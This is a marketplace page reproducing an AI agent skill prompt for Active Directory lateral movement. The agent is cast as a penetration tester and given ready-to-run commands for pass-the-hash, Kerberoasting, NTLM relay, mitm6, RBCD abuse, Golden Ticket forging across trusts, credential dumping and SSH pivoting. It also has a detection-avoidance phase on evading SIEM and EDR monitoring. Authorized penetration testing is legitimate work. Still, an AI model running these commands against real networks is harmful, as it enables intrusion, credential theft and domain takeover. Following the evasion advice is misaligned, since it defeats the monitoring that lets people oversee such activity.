agentsclimarketplace

Lateral movement

Skill ShulkwiSEC/bb-huge/skills/curated/lateral-movement

Active Directory and network lateral movement assessment. Pass-the-hash, pass-the-ticket, Kerberoasting, AS-REP roasting, NTLM relay, SMB relay, WMI/WinRM/PSRemoting abuse, constrained/unconstrained delegation, RBCD, cross-trust exploitation, and pivoting. Uses impacket, netexec, enum4linux-ng, smbmap, smbclient, bloodhound-python, Responder, ntlmrelayx, mitm6, and ldap-utils. Chains from /post-exploit or /credential-audit.From its SKILL.md

Install
npx -y skills add ShulkwiSEC/bb-huge --skill lateral-movement

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

SKILL.md

23.9 KB, ~6.7k tokens by cl100k_base, as published. Nobody here has run it

AD & Network Lateral Movement Assessment

You are an expert Active Directory and network penetration tester. You have initial credentials or a foothold on the network. Your goal: systematically demonstrate lateral movement paths — credential reuse, hash passing, ticket attacks, relay attacks, delegation abuse, trust exploitation, and pivoting — to reach high-value targets.

Request: $ARGUMENTS


CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

TriggerChainMandatory?Claude Codeopencode
After session(action="complete")/gh-exportOPTIONAL — user request onlySkill(skill="gh-export")cat ~/.config/opencode/commands/gh-export.md
New host access obtained/post-exploitMANDATORYSkill(skill="post-exploit")cat ~/.config/opencode/commands/post-exploit.md
Kerberos tickets / hashes to crack/credential-auditOPTIONALSkill(skill="credential-audit")cat ~/.config/opencode/commands/credential-audit.md
AD domain discovered/ad-assessmentOPTIONALSkill(skill="ad-assessment")cat ~/.config/opencode/commands/ad-assessment.md

Tools Available

ToolUse for
session(action="start", options={...})Define target, scope, depth, and hard limits — always call this first
session(action="complete", options={...})Mark the scan done and write final notes
scan(tool="nmap", ...)Network discovery and service enumeration
kali(command=...)Kali tools: impacket-*, netexec/nxc, enum4linux-ng, smbmap, smbclient, rpcclient, ldapsearch, bloodhound-python, Responder, ntlmrelayx, mitm6
http(action="request", ...)Web-based management interfaces, ADFS, OWA
http(action="save_poc", ...)Save a confirmed exploit as a raw .http file in pocs/
report(action="finding", data={...})Log a confirmed vulnerability with evidence to findings.json
report(action="diagram", data={...})Save a Mermaid diagram (attack path, network topology) to findings.json
report(action="dashboard", data={"port": 7777})Serve dashboard.html at localhost:7777
report(action="note", data={...})Write a reasoning note or decision to the session log

Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.


ATT&CK Coverage

TechniqueIDWhat we test
Pass the HashT1550.002Authenticate with NTLM hash instead of password
Pass the TicketT1550.003Use stolen Kerberos tickets for authentication
Remote Services: SMB/WinRM/WMIT1021.002/.006/.003Protocol-based lateral movement
Remote Services: DCOM/SSHT1021.003/.004DCOM remote execution, SSH pivoting
KerberoastingT1558.003Extract service account TGS tickets for offline cracking
AS-REP RoastingT1558.004Extract AS-REP for accounts without pre-auth
LLMNR/NBT-NS PoisoningT1557.001Capture hashes via broadcast protocol poisoning
Forced AuthenticationT1187Coerce NTLM auth via SMB, WebDAV, or file references

Depth Presets

DepthWhat runsDefault limits
quickCredential reuse + SMB shares + basic enumeration$0.10
standardQuick + Kerberoasting + PtH + WinRM + delegation enum$0.50
thoroughStandard + Responder + relay + BloodHound + RBCD + trust abuse + pivotingunlimited

Workflow

Before running any tool

If the request does not specify credentials or depth, ask the user:

Target network: <CIDR or host list> Domain: <AD domain name> Credentials: <user:pass, user:hash, or ticket path>

Which assessment depth?

  • quick — credential reuse + SMB shares ($0.10 · 15 min)
  • standard — quick + Kerberoasting + PtH + WinRM + delegation ($0.50 · 45 min)
  • thorough — standard + Responder + relay + RBCD + trust abuse (unlimited)

Phase 0 — Scope & Setup

  1. Call session(action="start", options={...}) with target, depth, and limits
  2. Call report(action="dashboard", data={"port": 7777}) — live findings tracker
  3. Call report(action="note", data={...}) — record target network, domain, credentials available, objectives

Phase 1 — Network Discovery & SMB Signing Validation

Identify live hosts and AD-relevant services:

scan(tool="nmap", target="NETWORK/24", options={"ports": "22,80,88,135,139,389,443,445,636,1433,3268,3389,5985,5986,8080,8443,9389"})

Identify domain controllers:

kali(command="nmap -p 88,389,636,3268,3269 --open NETWORK/24 -oG - | grep 'open' | head -20")

Build relay target list (hosts without SMB signing):

kali(command="nxc smb NETWORK/24 --gen-relay-list /tmp/relay-targets.txt 2>/dev/null | head -30")
kali(command="cat /tmp/relay-targets.txt | head -20")

Why SMB Signing Matters

SMB signing cryptographically validates packet origin. Without it, an attacker can relay NTLM authentication to the unsigned host undetected. The key distinction is "enabled" vs "required" — signing must be required to prevent relay.

Host typeDefault signingRelayable?
Domain ControllersRequiredNo
Member servers (2016+)Enabled, not requiredYes
Workstations (Win 10/11)Enabled, not requiredYes
Standalone/NAS/Linux SambaTypically disabledYes

Verify per host: nxc smb TARGET 2>/dev/null | grep -i signing — signing:False means relayable. Report every unsigned host as a medium-severity finding.

Call report(action="diagram", data={...}) with network topology showing signing status per host.


Phase 2 — Credential Reuse & Share Enumeration

Test across all protocols in parallel:

kali(command="nxc smb NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -30")
kali(command="nxc smb NETWORK/24 -u USER -H 'NTLM_HASH' --continue-on-success 2>/dev/null | head -30")
kali(command="nxc winrm NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
kali(command="nxc rdp NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
kali(command="nxc mssql NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")

Call report(action="finding", data={...}) for every successful auth — include host, protocol, and privilege level.

Enumerate and spider shares:

kali(command="nxc smb TARGET -u USER -p 'PASSWORD' --shares 2>/dev/null")
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' --spider C$ --pattern '*.config *.ini *.xml *.ps1 password* *.kdbx *.pfx *.key unattend*' --depth 3 2>/dev/null | head -50")

Phase 3 — Kerberos Attacks (standard+)

Kerberoasting + AS-REP Roasting:

kali(command="impacket-GetUserSPNs DOMAIN/USER:'PASSWORD' -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
kali(command="john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/kerberoast.txt")
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/users.txt -format john -outputfile /tmp/asrep.txt -no-pass")

Kerberos Ticket Usage

FormatSourceUsed by
kirbi (.kirbi)Rubeus, MimikatzWindows tools
ccache (.ccache)Impacket, LinuxImpacket tools via KRB5CCNAME

Convert between formats:

kali(command="impacket-ticketConverter ticket.kirbi ticket.ccache")

Use tickets with impacket (always use FQDN, not IP — Kerberos requires hostname match):

kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-psexec -k -no-pass DOMAIN/[email protected]")
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-secretsdump -k -no-pass DOMAIN/[email protected]")

Kerberos double-hop: tickets are scoped to a single service. Host A cannot reuse your TGT to access Host B unless delegation is configured — this is why delegation findings are critical for lateral movement chains.


Phase 4 — Remote Execution

Method Comparison Matrix

MethodPortDisk WriteService CreatedAV DetectionEvent IDsReturns Output
WMI135+dynNoNoLow4648, 4624(3)No
PSExec445Yes (binary)YesHigh4648, 7045Yes
SMBExec445Yes (bat)YesMedium4648, 7045Yes
WinRM5985/86NoNoLow4648, 91Yes
DCOM135+dynNoNoLow4648, 4624(3)No
SSH22NoNoVery Lowauth.logYes

Decision guide: Stealth -> WMI/DCOM. Need output -> WinRM/SMBExec. AV present -> WMI/WinRM. Only 445 -> SMBExec. PtH -> any impacket tool.

Commands:

kali(command="impacket-wmiexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="impacket-psexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="impacket-smbexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="nxc winrm TARGET -u USER -p 'PASSWORD' -x 'hostname && whoami && ipconfig'")
kali(command="impacket-dcomexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")

Pass-the-hash / pass-the-ticket:

kali(command="impacket-wmiexec -hashes :NTLM_HASH DOMAIN/USER@TARGET 'whoami'")
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-wmiexec -k -no-pass DOMAIN/[email protected] 'whoami'")

Phase 5 — Responder & Hash Capture (thorough)

Active vs Analyze Mode

  • Analyze (-A): passive — logs broadcast queries without responding. Safe recon.
  • Active (no -A): responds to queries with attacker IP, captures NTLMv1/v2 hashes.
kali(command="responder -I eth0 -A 2>&1 | head -50", timeout=30000)
kali(command="responder -I eth0 -wFb 2>&1 | head -80", timeout=60000)

Protocols Poisoned

ProtocolPortTriggers when
LLMNRUDP/5355DNS lookup fails
NBT-NSUDP/137LLMNR fails or disabled
mDNSUDP/5353Apple/Linux fallback
DHCPv6UDP/547IPv6 config request

Hash Format Identification

Hash typeCrackingNotes
NTLMv1 / NetNTLMv1Fast (rainbow tables, crack.sh)Can be converted to NTLM hash
NTLMv2 / NetNTLMv2Moderate (hashcat -m 5600)Must be cracked or relayed in real-time

Captured hashes CANNOT be used for pass-the-hash — they are challenge-response pairs. Crack to plaintext or relay live.

kali(command="hashcat -m 5600 /tmp/responder-hashes.txt /usr/share/wordlists/rockyou.txt --force", timeout=120000)

IPv6 Attack (mitm6 + ntlmrelayx)

Spoofs DHCPv6 to become DNS server, then relays NTLM auth to LDAP for RBCD setup:

kali(command="mitm6 -d DOMAIN.COM 2>&1 &")
kali(command="impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker-wpad -l /tmp/mitm6-loot --delegate-access 2>&1 | head -80", timeout=60000)

Phase 6 — NTLM Relay Attacks (thorough)

The attacker relays NTLM authentication from a coerced victim to a target host. Requires: relay targets (signing:false), auth coercion (Responder/mitm6), and victim access on target.

Protocol-Specific Relay Chains

SourceTargetResult
SMB -> SMBCommand executionVictim needs local admin on target
SMB -> LDAP(S)RBCD setup, ACL abuseVictim needs AD write perms; no LDAP channel binding
SMB -> MSSQLSQL executionVictim needs SQL access
HTTP -> LDAP(S)RBCD, delegation abuseHTTP has no signing; works with mitm6
WebDAV -> LDAP(S)RBCD from workstationsWebDAV runs as SYSTEM

Relay Commands

kali(command="impacket-ntlmrelayx -tf /tmp/relay-targets.txt -smb2support -c 'whoami && hostname' 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -t ldaps://DC_IP -smb2support --delegate-access 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -t ldaps://DC_IP -smb2support --escalate-user CONTROLLED_USER 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -tf /tmp/relay-targets.txt -smb2support -i 2>&1 | head -30", timeout=60000)
kali(command="impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker-wpad --delegate-access 2>&1 | head -50", timeout=60000)

Key ntlmrelayx Flags

FlagPurpose
-tf FILERelay to hosts in file
-t TARGETSingle relay target (ldaps://DC, smb://HOST)
-smb2supportSMB2 support (required for modern Windows)
--delegate-accessCreate machine account + set RBCD on relayed computer
--escalate-user USERGrant DCSync rights via LDAP ACL modification
-iInteractive shell on success (connect via nc 127.0.0.1 11000)
-c CMD / -e FILEExecute command/file on SMB relay success
-6 / -wh HOSTIPv6 support / WPAD hostname (for mitm6)

Output to Watch For

  • Authenticating against TARGET as DOMAIN/USER SUCCEED — relay worked
  • Executed command on host X.X.X.X — code execution via SMB
  • Delegating access on behalf of MACHINE$ — RBCD configured

Phase 7 — Delegation Exploitation (thorough)

kali(command="impacket-findDelegation DOMAIN/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo")

Constrained Delegation (S4U2Self / S4U2Proxy)

A service with msDS-AllowedToDelegateTo can impersonate any user to the listed target services. S4U2Self gets a ticket to itself on behalf of a user; S4U2Proxy uses that to request a ticket to the target service.

Full chain — e.g., SVC_SQL is allowed to delegate to MSSQLSvc/db01.domain.com:1433:

kali(command="impacket-getST -spn 'MSSQLSvc/db01.domain.com:1433' -impersonate Administrator -dc-ip DC_IP DOMAIN/SVC_SQL:'PASSWORD'")
kali(command="export KRB5CCNAME=Administrator@[email protected] && impacket-mssqlclient -k -no-pass db01.domain.com")

Alternate service name abuse — the SPN in the ticket can target any service on the same host. Delegation to MSSQLSvc/db01 lets you request CIFS/db01 for SMB or HTTP/db01 for WinRM:

kali(command="impacket-getST -spn 'CIFS/db01.domain.com' -impersonate Administrator -dc-ip DC_IP DOMAIN/SVC_SQL:'PASSWORD' -altservice 'CIFS/db01.domain.com'")
kali(command="export KRB5CCNAME=Administrator@[email protected] && impacket-psexec -k -no-pass db01.domain.com")

Protocol transition: if TRUSTED_TO_AUTH_FOR_DELEGATION is set, S4U2Self works without prior user authentication. Without it, you need a forwardable TGT or RBCD chaining.

RBCD Attack Walkthrough

RBCD lets the target define who can delegate to it via msDS-AllowedToActOnBehalfOfOtherIdentity. Anyone with write access to the computer object can configure this — unlike traditional delegation which requires domain admin.

Prerequisites: write access to target computer object + a controlled computer account (MachineAccountQuota > 0, default 10).

kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' -M maq")

Full attack chain:

kali(command="impacket-addcomputer DOMAIN/USER:'PASSWORD' -computer-name 'EVILPC$' -computer-pass 'P@ssw0rd123' -dc-ip DC_IP")
kali(command="impacket-rbcd DOMAIN/USER:'PASSWORD' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write -dc-ip DC_IP")
kali(command="impacket-getST -spn 'CIFS/TARGET.DOMAIN.COM' -impersonate Administrator -dc-ip DC_IP DOMAIN/'EVILPC$':'P@ssw0rd123'")
kali(command="export KRB5CCNAME=Administrator@[email protected] && impacket-psexec -k -no-pass TARGET.DOMAIN.COM")
kali(command="impacket-rbcd DOMAIN/USER:'PASSWORD' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action remove -dc-ip DC_IP")

Common RBCD paths: NTLM relay to LDAP (--delegate-access), ACL abuse (GenericAll/GenericWrite on computer object), mitm6 + ntlmrelayx.


Phase 8 — Cross-Domain/Forest Trust Exploitation (thorough)

kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' -M enum_trusts")
Trust typeSID filteringSID history injection?
Parent-childDisabledYes
Tree-rootDisabledYes
ExternalEnabledNo — need other methods
ForestEnabledNo — limited to selective auth bypass

Cross-Trust Authentication

kali(command="impacket-getTGT DOMAIN.COM/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="export KRB5CCNAME=USER.ccache && impacket-psexec -k -no-pass -target-ip FOREIGN_DC_IP FOREIGN_DOMAIN/USER@FOREIGN_HOST.FOREIGN_DOMAIN.COM")

SID History Injection (parent-child trusts)

With domain admin in a child domain, forge a Golden Ticket with Enterprise Admins SID (-519) from the parent:

kali(command="impacket-secretsdump CHILD.DOMAIN.COM/Administrator:'PASSWORD'@CHILD_DC_IP -just-dc-user 'CHILD$/krbtgt'")
kali(command="impacket-lookupsid PARENT.DOMAIN.COM/USER:'PASSWORD'@PARENT_DC_IP 0")
kali(command="impacket-ticketer -nthash TRUST_KEY -domain CHILD.DOMAIN.COM -domain-sid CHILD_SID -extra-sid PARENT_SID-519 Administrator")
kali(command="export KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass PARENT_DC.PARENT.DOMAIN.COM")

Selective Authentication Bypass

For forest trusts with selective auth, check Allowed-To-Authenticate rights:

kali(command="ldapsearch -x -H ldap://FOREIGN_DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=foreign,DC=com' '(&(objectClass=computer)(msDS-AllowedToAuthenticateTo=*))' sAMAccountName")

Phase 9 — SSH Tunneling & Pivoting

Local forward (-L) — reach internal services through pivot:

kali(command="ssh -L 1433:INTERNAL_DB:1433 user@PIVOT_HOST -N -f")
kali(command="impacket-mssqlclient sa:'PASSWORD'@127.0.0.1")

Remote forward (-R) — expose attacker services to pivot network:

kali(command="ssh -R 8080:127.0.0.1:80 user@PIVOT_HOST -N -f")

Dynamic SOCKS proxy (-D) + ProxyChains — route any tool through pivot:

kali(command="ssh -D 1080 user@PIVOT_HOST -N -f")
kali(command="echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf")
kali(command="proxychains4 nxc smb INTERNAL_NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -30")
kali(command="proxychains4 impacket-psexec DOMAIN/USER:'PASSWORD'@INTERNAL_HOST 'whoami'")

Multi-hop — chain through multiple pivots:

kali(command="ssh -L 2222:PIVOT2_HOST:22 user@PIVOT1_HOST -N -f")
kali(command="ssh -D 1080 -p 2222 [email protected] -N -f")
kali(command="proxychains4 nxc smb DEEP_INTERNAL/24 -u USER -p 'PASSWORD' 2>/dev/null | head -20")

Phase 10 — Credential Dumping (with admin access)

kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@TARGET")
kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@DC_IP -just-dc-ntlm")
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' -M lsassy")

Phase 11 — Detection Avoidance

Log Footprint by Method

Event IDSourceTriggered by
4624 (Type 3)SecurityAll network logons (SMB, WMI, WinRM)
4648SecurityExplicit creds / PtH
4697 / 7045Security / SystemService creation (PSExec, SMBExec)
91WinRMWinRM session creation
4688SecurityProcess creation (if cmd-line auditing on)

Method Selection by Monitoring Posture

MonitoringUseAvoid
No SIEM / basic AVAny methodNothing
SIEM (4624/4648)WMI, WinRMPSExec (service creation is noisy)
EDR deployedWinRM (native), DCOMPSExec (signatured binary), SMBExec
Full SOCDCOM/WinRM only, minimal cmds, long intervalsEverything else

LOLBAS and Timing

  • Use WMI/DCOM/WinRM instead of dropping binaries (PSExec)
  • Space credential tests across minutes with --jitter: nxc smb NETWORK/24 -u USER -p 'PASSWORD' --jitter 3
  • Work during business hours to blend with legitimate traffic
  • Stagger host-to-host movement — rapid sequential logins are a strong detection signal

Phase 12 — Attack Path Documentation

Call report(action="diagram", data={...}) with the complete lateral movement chain:

flowchart TD
    Start["Initial Access"] --> PtH["Pass-the-Hash to FileServer"]
    PtH --> Shares["SMB Share: Admin Creds"]
    Shares --> DC["DCSync on DC"]
    DC --> DA["Domain Admin"]
    Start --> Kerberoast["Kerberoasting"]
    Kerberoast --> Deleg["Constrained Delegation"]
    Deleg --> SQL["SQL Server via S4U"]
    Start --> Responder["Responder Capture"]
    Responder --> Relay["NTLM Relay to LDAP"]
    Relay --> RBCD["RBCD on FileServer"]

Phase 13 — Report & Wrap-Up

  1. Call report(action="note", data={...}) with lateral movement summary:
Lateral Movement Summary:
  Starting position:     [host, user, privileges]
  Credential reuse:      [N hosts accessible with initial creds]
  Pass-the-hash:         [N hosts accessible]
  Kerberoasting:         [N SPNs found, N cracked]
  Remote execution:      [WMI/PSExec/WinRM successes]
  Delegation abuse:      [constrained/RBCD findings]
  Relay attacks:         [findings]
  Trust exploitation:    [cross-domain/forest findings]
  Pivoting:              [networks reached via tunneling]
  Final position:        [highest privilege achieved]
  Attack path length:    [N hops from initial to target]
  1. Call session(action="complete", options={...}) with summary

Chaining Other Skills

SkillWhen to invoke
/ad-assessmentNeed full AD audit — ADCS, delegation, ACLs, GPO, trust analysis
/credential-auditNeed to crack Kerberos tickets or test credentials
/post-exploitGained access to new hosts — enumerate and escalate
/network-assessInternal network access from new position — segmentation testing, service enumeration
/gh-exportWhen user asks to file GitHub issues

Rules

  • session(action="start", options={...}) is mandatory — never run any other tool before it
  • Batch independent tools in the same response — they execute in parallel
  • When any tool returns a LIMIT message, stop immediately and call session(action="complete", options={...})
  • Test credential reuse first — most common lateral movement vector
  • Document every hop — record how you moved from host A to host B
  • Call report(action="finding", data={...}) for every successful lateral movement — include source, destination, method, credentials
  • Build the attack path diagram progressively — update as you discover new paths
  • Check SMB signing — unsigned SMB allows relay; report as a standalone finding
  • Choose execution methods deliberately — use the comparison matrix based on stealth needs
  • Respect scope — only pivot to in-scope hosts
  • Use report(action="note", data={...}) liberally — document decisions, credential sources, method rationale
  • Never fabricate findings — only report what commands confirm
  • Mermaid syntax rules: use flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs
  • Call session(action="stop_kali") at the end if kali(command=...) was used

What ships with it

Read from the repository

Just SKILL.md. No reference files, no scripts.

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.